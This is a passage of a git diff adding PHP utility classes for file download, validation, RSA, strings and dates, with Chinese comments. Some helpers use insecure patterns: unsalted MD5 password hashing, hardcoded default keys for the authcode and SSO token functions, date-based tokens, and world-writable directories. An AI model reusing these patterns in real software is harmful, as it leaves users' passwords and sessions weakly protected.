+            'potm' => 'application/vnd.ms-powerpoint.template.macroEnabled.12',
+            'ppsm' => 'application/vnd.ms-powerpoint.slideshow.macroEnabled.12',
+        ];
+        return isset($mimes[$ext]) ? $mimes[$ext] : 'application/octet-stream';
+    }
+
+/**
+ * 下载文件到服务器
+ * addtime 2020年8月28日 18:38:43
+ */
+    public static function getFile($url, $save_dir = '', $filename = '', $type = 0)
+    {
+        if (trim($url) == '') {
+            return false;
+        }
+        if (trim($save_dir) == '') {
+            $save_dir = './';
+        }
+        if (0 !== strrpos($save_dir, '/')) {
+            $save_dir .= '/';
+        }
+        //创建保存目录
+        if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {
+            return false;
+        }
+        //获取远程文件所采用的方法
+        if ($type) {
+            $ch = curl_init();
+            $timeout = 5;
+            curl_setopt($ch, CURLOPT_URL, $url);
+            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
+            curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
+            $content = curl_exec($ch);
+            curl_close($ch);
+        } else {
+            ob_start();
+            readfile($url);
+            $content = ob_get_contents();
+            ob_end_clean();
+        }
+        $size = strlen($content);
+        //文件大小
+        $fp2 = @fopen($save_dir . $filename, 'a');
+        fwrite($fp2, $content);
+        fclose($fp2);
+        unset($content, $url);
+        $res['code'] = 200;
+        $res['file_name'] = $filename;
+        return $res;
+    }
+    /**
+     * 检测文件大小
+     */
+    public static function getFileSize($url)
+    {
+        $res = get_headers($url, true);
+        $filesize = round($res['Content-Length'] / 1024 / 1024, 2); //四舍五入获取文件大小,单位M
+        return $filesize;
+    }
+
+}

+ 86 - 0
extend/utils/Regular.php

@@ -0,0 +1,86 @@
+<?php
+/* 正则集合
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-24 */
+
+namespace utils;
+
+class Regular{
+
+    /**
+     * 判断是否示手机号
+     */
+    public static function is_phonenumber($str){
+        $preg ="/^1[3456789]\d{9}$/";
+        return preg_match($preg,$str) ? true : false;
+    }
+
+    //判断是否是邮箱
+    public static function is_email($str){
+        $preg='/^[a-zA-Z0-9]+([-_.][a-zA-Z0-9]+)*@([a-zA-Z0-9]+[-.])+([a-z]{2,5})$/ims';
+        return preg_match($preg,$str) ? true : false;
+    }
+
+    // 判断手机号或者邮箱,1手机号,2邮箱,0不是
+    public static function check_account($str){
+        if(self::is_phonenumber($str)){
+            return 1;
+        }
+        if(self::is_email($str)){
+            return 2;
+        }
+        return 0;
+    }
+
+    //判断是否是网址
+    public static function is_url($str){
+        $preg='/^((ht|f)tps?):\/\/([\w\-]+(\.[\w\-]+)*\/)*[\w\-]+(\.[\w\-]+)*\/?(\?([\w\-\.,@?^=%&:\/~\+#]*)+)?/';
+        return preg_match($preg,$str) ? true : false;
+    }
+
+    /**
+     * 摘取手机号
+     * @param string $oldStr
+     * @return array
+     */
+    public static function findThePhoneNumbers($oldStr = "",$onlyone=true){
+        // 检测字符串是否为空
+        $oldStr=trim("q{$oldStr}q");
+        if(empty($oldStr)){
+            return false;
+        }
+        $strArr = explode("-", $oldStr);
+        $newStr = $strArr[0];
+        for ($i=1; $i < count($strArr); $i++) {
+            if (preg_match("/\d{2}$/", $newStr) && preg_match("/^\d{11}/", $strArr[$i])){
+                $newStr .= $strArr[$i];
+            } elseif (preg_match("/\d{3,4}$/", $newStr) && preg_match("/^\d{7,8}/", $strArr[$i])) {
+                $newStr .= $strArr[$i];
+            } else {
+                $newStr .= "-".$strArr[$i];
+            }
+        }
+        // 手机号的获取
+        $reg='/\D(?:86)?(\d{11})\D/is';//匹配数字的正则表达式
+        preg_match_all($reg,$newStr,$result);
+		
+        $nums = array();
+        $common = '/^1[3-9]\d{9}$/';
+        foreach ($result[1] as $key => $value) {
+            if(preg_match($common,$value)){
+                $nums[] = $value;
+            }
+        }
+		if(count($nums)>0){
+			return $onlyone ? $nums[0] : $nums;
+		}else{
+			return false;
+		}
+    }
+
+    // 验证身份证号码
+    public static function is_idcard($str){
+        $reg = '/^(\d{6})(\d{4})(\d{2})(\d{2})(\d{3})([0-9]|X)$/i';
+        return preg_match($reg,$str) ? true : false;
+    }
+}

+ 76 - 0
extend/utils/Rsa.php

@@ -0,0 +1,76 @@
+<?php
+declare (strict_types=1);
+
+namespace utils;
+
+use think\facade\Config;
+
+class Rsa
+{
+    /**
+     * 配置参数
+     * @var array
+     */
+    protected $config = [];
+
+    /**
+     * 构造方法
+     * @access public
+     */
+    public function __construct(Config $config)
+    {
+        $this->config = $config::get('cipher');
+    }
+
+    /**
+     * 私钥加密
+     * @param string $data 要加密的数据
+     * @return false|string
+     */
+    public function privateEncrypt(string $data): string
+    {
+        $private_key = openssl_pkey_get_private($this->config['private_key']);
+
+        openssl_private_encrypt($data, $encrypted, $private_key);
+        return base64_encode($encrypted);
+    }
+
+    /**
+     * 私钥解密
+     * @param string $data
+     * @return false|string
+     */
+    public function privateDecrypt(string $data): ?string
+    {
+        $private_key = openssl_pkey_get_private($this->config['private_key']);
+
+        openssl_private_decrypt(base64_decode($data), $decrypted, $private_key);
+        return $decrypted;
+    }
+
+    /**
+     * 公钥加密
+     * @param string $data
+     * @return false|string
+     */
+    public function publicEncrypt(string $data): string
+    {
+        $public_key = openssl_pkey_get_public($this->config['public_key']);
+
+        openssl_public_encrypt($data, $encrypted, $public_key);
+        return base64_encode($encrypted);
+    }
+
+    /**
+     * 公钥解密
+     * @param string $data
+     * @return false|string
+     */
+    public function publicDecrypt(string $data): ?string
+    {
+        $public_key = openssl_pkey_get_public($this->config['public_key']);
+
+        openssl_public_decrypt(base64_decode($data), $decrypted, $public_key);
+        return $decrypted;
+    }
+}

+ 594 - 0
extend/utils/Str.php

@@ -0,0 +1,594 @@
+<?php
+/* file: 字符串处理类
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-22 */
+
+namespace utils;
+
+class Str{
+    protected static $snakeCache = [];
+
+    protected static $camelCache = [];
+
+    protected static $studlyCache = [];
+
+    /**
+     * 检查字符串中是否包含某些字符串
+     * @param string       $haystack
+     * @param string|array $needles
+     * @return bool
+     */
+    public static function contains($haystack, $needles)
+    {
+        foreach ((array) $needles as $needle) {
+            if ($needle != '' && mb_strpos($haystack, $needle) !== false) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * 检查字符串是否以某些字符串结尾
+     *
+     * @param  string       $haystack
+     * @param  string|array $needles
+     * @return bool
+     */
+    public static function endsWith($haystack, $needles)
+    {
+        foreach ((array) $needles as $needle) {
+            if ((string) $needle === static::substr($haystack, -static::length($needle))) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * 检查字符串是否以某些字符串开头
+     *
+     * @param  string       $haystack
+     * @param  string|array $needles
+     * @return bool
+     */
+    public static function startsWith($haystack, $needles)
+    {
+        foreach ((array) $needles as $needle) {
+            if ($needle != '' && mb_strpos($haystack, $needle) === 0) {
+                return true;
+            }
+        }
+
+        return false;
+    }
+
+    /**
+     * 获取指定长度的随机字母数字组合的字符串
+     *
+     * @param  int $length
+     * @return string
+     */
+    public static function random($length = 16)
+    {
+        $pool = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
+
+        return static::substr(str_shuffle(str_repeat($pool, $length)), 0, $length);
+    }
+
+    /**
+     * 字符串转小写
+     *
+     * @param  string $value
+     * @return string
+     */
+    public static function lower($value)
+    {
+        return mb_strtolower($value, 'UTF-8');
+    }
+
+    /**
+     * 字符串转大写
+     *
+     * @param  string $value
+     * @return string
+     */
+    public static function upper($value)
+    {
+        return mb_strtoupper($value, 'UTF-8');
+    }
+
+    /**
+     * 获取字符串的长度
+     *
+     * @param  string $value
+     * @return int
+     */
+    public static function length($value)
+    {
+        return mb_strlen($value);
+    }
+
+    /**
+     * 截取字符串
+     *
+     * @param  string   $string
+     * @param  int      $start
+     * @param  int|null $length
+     * @return string
+     */
+    public static function substr($string, $start, $length = null)
+    {
+        return mb_substr($string, $start, $length, 'UTF-8');
+    }
+
+    /**
+     * 驼峰转下划线
+     *
+     * @param  string $value
+     * @param  string $delimiter
+     * @return string
+     */
+    public static function snake($value, $delimiter = '_')
+    {
+        $key = $value;
+
+        if (isset(static::$snakeCache[$key][$delimiter])) {
+            return static::$snakeCache[$key][$delimiter];
+        }
+
+        if (!ctype_lower($value)) {
+            $value = preg_replace('/\s+/u', '', $value);
+
+            $value = static::lower(preg_replace('/(.)(?=[A-Z])/u', '$1' . $delimiter, $value));
+        }
+
+        return static::$snakeCache[$key][$delimiter] = $value;
+    }
+
+    /**
+     * 下划线转驼峰(首字母小写)
+     *
+     * @param  string $value
+     * @return string
+     */
+    public static function camel($value)
+    {
+        if (isset(static::$camelCache[$value])) {
+            return static::$camelCache[$value];
+        }
+
+        return static::$camelCache[$value] = lcfirst(static::studly($value));
+    }
+
+    /**
+     * 下划线转驼峰(首字母大写)
+     *
+     * @param  string $value
+     * @return string
+     */
+    public static function studly($value)
+    {
+        $key = $value;
+
+        if (isset(static::$studlyCache[$key])) {
+            return static::$studlyCache[$key];
+        }
+
+        $value = ucwords(str_replace(['-', '_'], ' ', $value));
+
+        return static::$studlyCache[$key] = str_replace(' ', '', $value);
+    }
+
+    /**
+     * 转为首字母大写的标题格式
+     *
+     * @param  string $value
+     * @return string
+     */
+    public static function title($value)
+    {
+        return mb_convert_case($value, MB_CASE_TITLE, 'UTF-8');
+    }
+
+    /* 
+    在数组中取想要的值
+    $array -array 被取值的数组
+    $field -string 所取的字段
+    $is_str -boolean 返回字符串(默认)或数组
+    return string
+    */
+    public static function array_to_string($array,$field,$is_str=true){
+        $arr=[];
+        foreach($array as $k => $v){
+            if($v[$field]){
+                $arr[]=$v[$field];
+            }
+        }
+        //$idArr = array_unique($idArr);
+        if($is_str){
+            return implode(',',$arr);
+        }else{
+            return $arr;
+        }
+
+    }
+
+    /* 
+    密码生成规则
+    $password -string 要转化的字符串
+    return string
+    */
+    public static function password_hash_tp($password)
+    {
+        return hash("md5", trim($password));
+    }
+
+    /* 
+    字符串截取函数
+    $str -string 被截取的字符串
+    $start -int 起始位置
+    $length -int 截取长度
+    $charset -string 编码
+    $suffix -boolean 在$str的结尾拼接省略号(默认true)
+    return string
+    */
+    public static function msubstr($str, $start, $length, $charset = "utf-8", $suffix = true)
+    {
+        if (strlen($str) / 3 > $length) {
+            if (function_exists("mb_substr")) {
+                if ($suffix == false) {
+                    return mb_substr($str, $start, $length, $charset) . '&nbsp;...';
+                } else {
+                    return mb_substr($str, $start, $length, $charset);
+                }
+            } elseif (function_exists('iconv_substr')) {
+                if ($suffix == false) {
+                    return iconv_substr($str, $start, $length, $charset) . '&nbsp;...';
+                } else {
+                    return iconv_substr($str, $start, $length, $charset);
+                }
+            }
+            $re['utf-8'] = "/[\x01-\x7f]|[\xc2-\xdf][\x80-\xbf]|[\xe0-\xef][\x80-\xbf]{2}|[\xf0-\xff][\x80-\xbf]{3}/";
+            $re['gb2312'] = "/[\x01-\x7f]|[\xb0-\xf7][\xa0-\xfe]/";
+            $re['gbk'] = "/[\x01-\x7f]|[\x81-\xfe][\x40-\xfe]/";
+            $re['big5'] = "/[\x01-\x7f]|[\x81-\xfe]([\x40-\x7e]|\xa1-\xfe])/";
+            preg_match_all($re[$charset], $str, $match);
+            $slice = join("", array_slice($match[0], $start, $length));
+            if ($suffix) {
+                return $slice;
+            } else {
+                return $slice;
+            }
+        }
+        return $str;
+    }
+
+    /* 
+    获取指定长度的随机字符串
+    $length 取值长度
+    return string
+     */
+    public static function get_rand_char($length)
+    {
+        $str = null;
+        $strPol = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz";
+        $max = strlen($strPol) - 1;
+
+        for ($i = 0; $i < $length; $i++) {
+            $str .= $strPol[rand(0, $max)];//rand($min,$max)生成介于min和max两个数之间的一个随机整数
+        }
+        return $str;
+    }
+
+    /* 
+    隐藏电话中间四位数
+    $num -string 电话号码
+    return string
+    */
+    public static function hide_phone($num)
+    {
+        return substr($num, 0, 3) . '****' . substr($num, 7);
+    }
+
+    /* 
+    匹配特殊字符
+    $word -string 匹配特殊字符
+    */
+    public static function match_special_str($word)
+    {
+        if (preg_match("/[\'.,:;*?~`!@#$%^&+=<>{}]|\]|\[|\/|\\\|\"|\|/", $word)) {
+            //不允许特殊字符
+            return true;
+        } else {
+            return false;
+        }
+    }
+
+
+
+
+// +----------------------------------------------------------------------
+// 数据加密处理
+// +----------------------------------------------------------------------
+
+    //id加密
+    public static function encryption($str)
+    {
+        $hash = config('hashids');
+        return hashids($hash['length'], $hash['salt'])->encode($str);
+    }
+
+    //id解密
+    public static function decrypt($str)
+    {
+        $hash = config('hashids');
+        return hashids($hash['length'], $hash['salt'])->decode($str);
+    }
+
+    //token加密
+    public static function encryptionToken($id)
+    {
+        $str = encryption($id);
+        $time = md5(strtotime(date('Y-m-d')));
+        $str = base64_encode($str . '-' . $time);
+        return $str;
+    }
+
+    //token解密
+    public static function decryptToken($str)
+    {
+        $str = base64_decode($str);
+        $arr = explode('-', $str);
+        $time = md5(strtotime(date('Y-m-d')));
+        if ($arr[1] != $time) {
+            return false;
+        }
+        return decrypt($arr[0]);
+    }
+
+    /* @param string $string 原文或者密文
+    * @param string $operation 操作(ENCODE | DECODE), 默认为 DECODE
+    * @param string $key 密钥
+    * @param int $expiry 密文有效期, 加密时候有效, 单位 秒,0 为永久有效
+    * @return string 处理后的 原文或者 经过 base64_encode 处理后的密文
+    *
+    * @example
+    *
+    *  $a = authcode('abc', 'ENCODE', 'key');
+    *  $b = authcode($a, 'DECODE', 'key');  // $b(abc)
+    *
+    *  $a = authcode('abc', 'ENCODE', 'key', 3600);
+    *  $b = authcode('abc', 'DECODE', 'key'); // 在一个小时内,$b(abc),否则 $b 为空
+    */
+    public static function authcode($string, $operation = 'DECODE', $key = '', $expiry = 3600) {
+
+        $ckey_length = 4;   
+        // 随机密钥长度 取值 0-32;
+        // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
+        // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
+        // 当此值为 0 时,则不产生随机密钥
+
+        $key = md5($key ? $key : 'default_key'); //这里可以填写默认key值
+        $keya = md5(substr($key, 0, 16));
+        $keyb = md5(substr($key, 16, 16));
+        $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
+
+        $cryptkey = $keya.md5($keya.$keyc);
+        $key_length = strlen($cryptkey);
+
+        $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
+        $string_length = strlen($string);
+
+        $result = '';
+        $box = range(0, 255);
+
+        $rndkey = array();
+        for($i = 0; $i <= 255; $i++) {
+            $rndkey[$i] = ord($cryptkey[$i % $key_length]);
+        }
+
+        for($j = $i = 0; $i < 256; $i++) {
+            $j = ($j + $box[$i] + $rndkey[$i]) % 256;
+            $tmp = $box[$i];
+            $box[$i] = $box[$j];
+            $box[$j] = $tmp;
+        }
+
+        for($a = $j = $i = 0; $i < $string_length; $i++) {
+            $a = ($a + 1) % 256;
+            $j = ($j + $box[$a]) % 256;
+            $tmp = $box[$a];
+            $box[$a] = $box[$j];
+            $box[$j] = $tmp;
+            $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
+        }
+        
+        if($operation == 'DECODE') {
+                if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
+                    return substr($result, 26);
+                } else {
+                    return '';
+                }
+            } else {
+                return $keyc.str_replace('=', '', base64_encode($result));
+        }
+    }
+
+    public static function ssoTokenEncode($str,$key='lvzhesso',$expire=0){
+        $ids=encryption($str);
+    return authcode($ids,"ENCODE",$key,$expire);
+    }
+
+    public static function ssoTokenDecode($str,$key='lvzhesso')
+    {
+        $ids=authcode($str,"DECODE",$key);
+        try{
+            return decrypt($ids);
+        }catch(\Exception $e){
+            return '';
+        }
+    }
+
+    /* 
+    获取url中的主机名
+    $url -string 
+    return string
+    */
+    public static function getHost($url)
+    { 
+        if(!preg_match('/http[s]:\/\/[\w.]+[\w\/]*[\w.]*\??[\w=&\+\%]*/is',$url)){
+            return '';
+        }
+        $search = '~^(([^:/?#]+):)?(//([^/?#]*))?([^?#]*)(\?([^#]*))?(#(.*))?~i';
+        $url = trim($url);
+        preg_match_all($search, $url ,$rr);
+        return $rr[4][0];
+
+    }
+
+    /* 
+    替换特殊字符
+    $url -string 
+    return string
+    */
+    public static function strFilter($str,$is_file=false){
+        $str = str_replace('`', '', $str);
+        $str = str_replace('·', '', $str);
+        $str = str_replace('~', '', $str);
+        $str = str_replace('!', '', $str);
+        $str = str_replace('!', '', $str);
+        $str = str_replace('@', '', $str);
+        $str = str_replace('#', '', $str);
+        $str = str_replace('$', '', $str);
+        $str = str_replace('¥', '', $str);
+        $str = str_replace('%', '', $str);
+        $str = str_replace('……', '', $str);
+        $str = str_replace('&', '', $str);
+        $str = str_replace('*', '', $str);
+        $str = str_replace('(', '', $str);
+        $str = str_replace(')', '', $str);
+        $str = str_replace('(', '', $str);
+        $str = str_replace(')', '', $str);
+        $str = str_replace('-', '', $str);
+        $str = str_replace('_', '', $str);
+        $str = str_replace('——', '', $str);
+        $str = str_replace('+', '', $str);
+        $str = str_replace('=', '', $str);
+        $str = str_replace('|', '', $str);
+        $str = str_replace('\\', '', $str);
+        $str = str_replace('[', '', $str);
+        $str = str_replace(']', '', $str);
+        $str = str_replace('【', '', $str);
+        $str = str_replace('】', '', $str);
+        $str = str_replace('{', '', $str);
+        $str = str_replace('}', '', $str);
+        $str = str_replace(';', '', $str);
+        $str = str_replace(';', '', $str);
+        $str = str_replace(':', '', $str);
+        $str = str_replace(':', '', $str);
+        $str = str_replace('\'', '', $str);
+        $str = str_replace('"', '', $str);
+        $str = str_replace('“', '', $str);
+        $str = str_replace('”', '', $str);
+        $str = str_replace(',', '', $str);
+        $str = str_replace(',', '', $str);
+        $str = str_replace('<', '', $str);
+        $str = str_replace('>', '', $str);
+        $str = str_replace('《', '', $str);
+        $str = str_replace('》', '', $str);
+        $str = str_replace('。', '', $str);
+        $str = str_replace('/', '', $str);
+        $str = str_replace('、', '', $str);
+        $str = str_replace('?', '', $str);
+        $str = str_replace('?', '', $str);
+        if(!$is_file){
+            $str = str_replace('.', '', $str);
+        }
+        return trim($str);
+    }
+
+    /**
+     * 隐藏公司名或人名的中间部分
+     * @param string $str 需要处理的字符串
+     * @return string 处理后的字符串
+     */
+    public static function maskString($str,$i=3) {
+        // 获取字符串长度
+        $len = self::get_string_length($str);
+        
+        // 如果数组长度小于等于2,则只将第二个字符替换为*
+        if ($len <= 1) {
+            return '******';
+        }elseif ($len == 2) {
+            return self::msubstr($str,0,1).'*';
+        } else {
+            return self::msubstr($str,0,$i).'******'.self::msubstr($str,-$i,$i);
+        }
+    }
+
+    /**
+     * 获取人名的最后一个字或者两个字
+     * @param string $str 需要处理的字符串
+     * @return string 处理后的字符串
+     */
+    public static function getLastName($str,$i=1) {
+        // 获取字符串长度
+        $len = self::get_string_length($str);
+        
+        // 如果数组长度小于等于2,则只将第二个字符替换为*
+        if ($len < 2) {
+            return self::msubstr($str,0,1);
+        }else{
+            return self::msubstr($str,-$i,$i);
+        }
+    }
+
+    public static function get_string_length($str) {
+        // 将字符串转换为 UTF-8 编码
+        $str = mb_convert_encoding($str, 'UTF-8', mb_detect_encoding($str));
+        // 返回字符串的字符数
+        return mb_strlen($str);
+    }
+
+    // 提取身份证中的年龄和性别
+    public static function getIdforAG($str){
+        if(!$str){
+            return false;
+        }
+        // 先验证是否为身份证
+        if(!preg_match('/(^\d{15}$)|(^\d{17}([0-9]|X)$)/',$str)){
+            return false;
+        }
+        $length=strlen($str);
+        if($length==15){
+            $sexnum = substr($str,14,1);
+            $age = date('Y') - '19'.substr($str,6,2);
+        }else{
+            $sexnum = substr($str,16,1);
+            $age = date('Y') - substr($str,6,4);
+        }
+        return [
+            'gender'=>$sexnum%2==0 ? 0 : 1,
+            'age'=>$age
+        ];
+    }
+
+    /**
+    * Universally Unique Identifier v4
+    *
+    * @param  int   $b
+    * @return UUID, if $b returns binary(16)
+    */
+    public static function getUuid($b = null)
+    {
+        if (function_exists('uuid_create')) {
+            $uuid = uuid_create();
+        } else {
+            $uuid = sprintf('%04x%04x-%04x-%04x-%04x-%04x%04x%04x', mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xfff) | 0x4000, mt_rand(0, 0x3fff) | 0x8000, mt_rand(0, 0xffff), mt_rand(0, 0xffff), mt_rand(0, 0xffff));
+        }
+        return $b ? pack('H*', str_replace('-', '', $uuid)) : $uuid;
+    }
+}

+ 887 - 0
extend/utils/Time.php

@@ -0,0 +1,887 @@
+<?php
+/* file:时间处理函数封装的集合
+Created by wanghong<1204772286@qq.com>
+Date: 2021-02-25 */
+
+namespace utils;
+
+class Time{
+
+    /**
+     * 返回今日开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function today()
+    {
+        list($y, $m, $d) = explode('-', date('Y-m-d'));
+        return [
+            mktime(0, 0, 0, $m, $d, $y),
+            mktime(23, 59, 59, $m, $d, $y)
+        ];
+    }
+
+    /**
+     * 返回昨日开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function yesterday()
+    {
+        $yesterday = date('d') - 1;
+        return [
+            mktime(0, 0, 0, date('m'), $yesterday, date('Y')),
+            mktime(23, 59, 59, date('m'), $yesterday, date('Y'))
+        ];
+    }
+
+     /**
+     * 返回明日开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function tomorrow()
+    {
+        $tomorrow = date('d') + 1;
+        return [
+            mktime(0, 0, 0, date('m'), $tomorrow, date('Y')),
+            mktime(23, 59, 59, date('m'), $tomorrow, date('Y'))
+        ];
+    }
+
+    /**
+     * 返回本周开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function week()
+    {
+        list($y, $m, $d, $w) = explode('-', date('Y-m-d-w'));
+        if($w == 0) $w = 7; //修正周日的问题
+        return [
+            mktime(0, 0, 0, $m, $d - $w + 1, $y), mktime(23, 59, 59, $m, $d - $w + 7, $y)
+        ];
+    }
+
+    /**
+     * 返回上周开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function lastWeek()
+    {
+        $timestamp = time();
+        return [
+            strtotime(date('Y-m-d', strtotime("last week Monday", $timestamp))),
+            strtotime(date('Y-m-d', strtotime("last week Sunday", $timestamp))) + 24 * 3600 - 1
+        ];
+    }
+
+    /**
+     * 返回本月开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function month($everyDay = false)
+    {
+        list($y, $m, $t) = explode('-', date('Y-m-t'));
+        return [
+            mktime(0, 0, 0, $m, 1, $y),
+            mktime(23, 59, 59, $m, $t, $y)
+        ];
+    }
+
+    /**
+     * 返回上个月开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function lastMonth()
+    {
+        $y = date('Y');
+        $m = date('m');
+        $begin = mktime(0, 0, 0, $m - 1, 1, $y);
+        $end = mktime(23, 59, 59, $m - 1, date('t', $begin), $y);
+
+        return [$begin, $end];
+    }
+
+    /**
+     * 返回今年开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function year()
+    {
+        $y = date('Y');
+        return [
+            mktime(0, 0, 0, 1, 1, $y),
+            mktime(23, 59, 59, 12, 31, $y)
+        ];
+    }
+
+    /**
+     * 返回去年开始和结束的时间戳
+     *
+     * @return array
+     */
+    public static function lastYear()
+    {
+        $year = date('Y') - 1;
+        return [
+            mktime(0, 0, 0, 1, 1, $year),
+            mktime(23, 59, 59, 12, 31, $year)
+        ];
+    }
+
+    public static function dayOf()
+    {
+
+    }
+
+    /**
+     * 获取几天前零点到现在/昨日结束的时间戳
+     *
+     * @param int $day 天数
+     * @param bool $now 返回现在或者昨天结束时间戳
+     * @return array
+     */
+    public static function dayToNow($day = 1, $now = true)
+    {
+        $end = time();
+        if (!$now) {
+            list($foo, $end) = self::yesterday();
+        }
+
+        return [
+            mktime(0, 0, 0, date('m'), date('d') - $day, date('Y')),
+            $end
+        ];
+    }
+
+    /**
+     * 返回几天前的时间戳
+     *
+     * @param int $day
+     * @return int
+     */
+    public static function daysAgo($day = 1)
+    {
+        $nowTime = time();
+        return $nowTime - self::daysToSecond($day);
+    }
+
+    /**
+     * 返回几天后的时间戳
+     *
+     * @param int $day
+     * @return int
+     */
+    public static function daysAfter($day = 1)
+    {
+        $nowTime = time();
+        return $nowTime + self::daysToSecond($day);
+    }
+
+    /**
+     * 天数转换成秒数
+     *
+     * @param int $day
+     * @return int
+     */
+    public static function daysToSecond($day = 1)
+    {
+        return $day * 86400;
+    }
+
+    /**
+     * 周数转换成秒数
+     *
+     * @param int $week
+     * @return int
+     */
+    public static function weekToSecond($week = 1)
+    {
+        return self::daysToSecond() * 7 * $week;
+    }
+
+    private static function startTimeToEndTime()
+    {
+
+    }
+
+    /**
+     * 获取指定年月的开始和结束时间戳
+     * @param int $y    年份
+     * @param int $m    月份
+     * @return array(开始时间,结束时间)
+     */
+    public static function time_start_end($y=0,$m=0)
+    {
+        $y = $y ? $y : date('Y');
+        $m = $m ? $m : date('m');
+        $d = date('t', strtotime($y.'-'.$m));
+        return array("firsttime"=>strtotime($y.'-'.$m),"lasttime"=>mktime(23,59,59,$m,$d,$y));
+    }
+
+    /* 
+    获取多少个工作日以后的日期
+    $cost -int
+    $start -int
+    return string
+    */
+    public static function get_all_day($cost,$start='')
+    {
+        $workday = array(1,2,3,4,5);
+        // 需要多少天
+        $days = 0;
+
+        if($start==''){
+            $curday = time();
+        }else{
+            $curday = $start;
+        }
+        // 获取当前是星期几
+        while($cost>=0){
+            if(in_array(date('w',$curday),$workday)){ //是工作日
+                $cost--;
+            }
+            $days++;
+            if($cost>=0){
+                $curday = mktime(date("H"),date("i"),date("s"),date('m',$curday),date('d',$curday)+1,date('Y',$curday));
+            }
+        }
+        return date('Y-m-d H:i',$curday);
+    }
+
+
+    /* 
+    获取当前时间戳毫秒
+    */
+    public static function msectime()
+    {
+        list($msec, $sec) = explode(' ', microtime());
+        $msectime = (float)sprintf('%.0f', (floatval($msec) + floatval($sec)) * 1000);
+        return $msectime;
+    }
+
+    /* 
+    数据发布时间
+    return string
+    */
+    public static function from_time($time)
+    {
+        $way = time() - (int)$time;
+        if ($way < 60) {
+            $r = '刚刚';
+        } elseif ($way >= 60 && $way < 3600) {
+            $r = floor($way / 60) . '分钟前';
+        } elseif ($way >= 3600 && $way < 86400) {
+            $r = floor($way / 3600) . '小时前';
+        } elseif ($way >= 86400 && $way < 2592000) {
+            $r = floor($way / 86400) . '天前';
+        } elseif ($way >= 2592000 && $way < 15552000) {
+            $r = floor($way / 2592000) . '个月前';
+        } elseif ((int)$time == 0) {
+            $r = '无';
+        } else {
+            $r = date('Y-m-d H:i', (int)$time);
+        }
+        return $r;
+    }
+
+    /* 
+    获取多少天后
+    return -string
+    */
+    public static function get_days_ago($time)
+    {
+        $time=is_string($time)?strtotime($time):$time;
+        $way = $time - time();
+        $a = date('Y-m-d', $time);
+        $b = date('Y-m-d', time());
+        $c = date('Y-m-d', time() + 24 * 3600);
+        if ($way >= 86400 && $way < 2592000) {
+            $r = floor($way / 86400) . '天后';
+        } elseif ($way >= 2592000 && $way < 15552000) {
+            $r = floor($way / 2592000) . '个月后';
+        } elseif ($time < strtotime($b)) {
+            $day = abs(ceil($way / 86400));
+            if ($time == 0) {
+                $r = "暂无";
+            } elseif ($day < 90) {
+                $r = '已过期' . $day . "天";
+            } else {
+                $r = "已过期3月+";
+            }
+        } elseif ($a == $b) {
+            $r = '今天内';
+        } elseif ($a == $c) {
+            $r = '明天';
+        } else {
+            $r = date('Y-m-d', $time);
+        }
+        return $r;
+    }
+
+    /* 
+    获取待办的时间
+    return $str
+    */
+    public static function schdule_time($time)
+    {
+        $date = date("Y-m-d", $time);
+        $today = date("Y-m-d");
+        $tomorrow = date("Y-m-d", time() + 24 * 3600);
+        $future = time() + 2 * 24 * 3600;
+        if ($date == $today) {
+            $str = "今天";
+        } elseif ($date == $tomorrow) {
+            $str = "明天";
+        } elseif ($time >= $future) {
+            $str = "未来几天";
+        } else {
+            $str = "已过期";
+        }
+        return $str;
+    }
+
+    /* 
+    获取多少天
+    return int
+    */
+    public static function days_num($time)
+    {
+        $way = time() - $time;
+        return floor($way / 86400);
+    }
+
+    /* 
+    获取多少小时
+    return float
+    */
+    public static function hours_num($time)
+    {
+        return round($time / 60, 1);
+    }
+
+    /* 
+    获取多少天后
+    return string
+    */
+    public static function days_ago($daytime)
+    {
+        $daysago = ceil(($daytime - time()) / (3600 * 24));
+        return $daysago . "天后";
+    }
+
+    /**
+     * 求两个日期之间相差的天数
+     * (针对1970年1月1日之后,求之前可以采用泰勒公式)
+     * @param string $day1
+     * @param string $day2
+     * @return number
+     */
+    public static function between_two_days($second1, $second2)
+    {
+        if ($second1 < $second2) {
+            $tmp = $second2;
+            $second2 = $second1;
+            $second1 = $tmp;
+        }
+        $day = floor(($second1 - $second2) / 86400);
+        return $day;
+    }
+
+    /**
+     * 获取本周所有日期
+     * $time -起始日期
+     * $format -输出格式
+     * return array
+     */
+    public static function get_week($time = '', $format='Y-m-d')
+    {
+        $time = $time != '' ? $time : time();
+        //获取当前周几
+        $week = date('w', $time);
+        $date = [];
+        for ($i=1; $i<=7; $i++){
+        $date[$i] = date($format ,strtotime( '+' . $i-$week .' days', $time));
+        }
+        return $date;
+    }
+
+    /* 
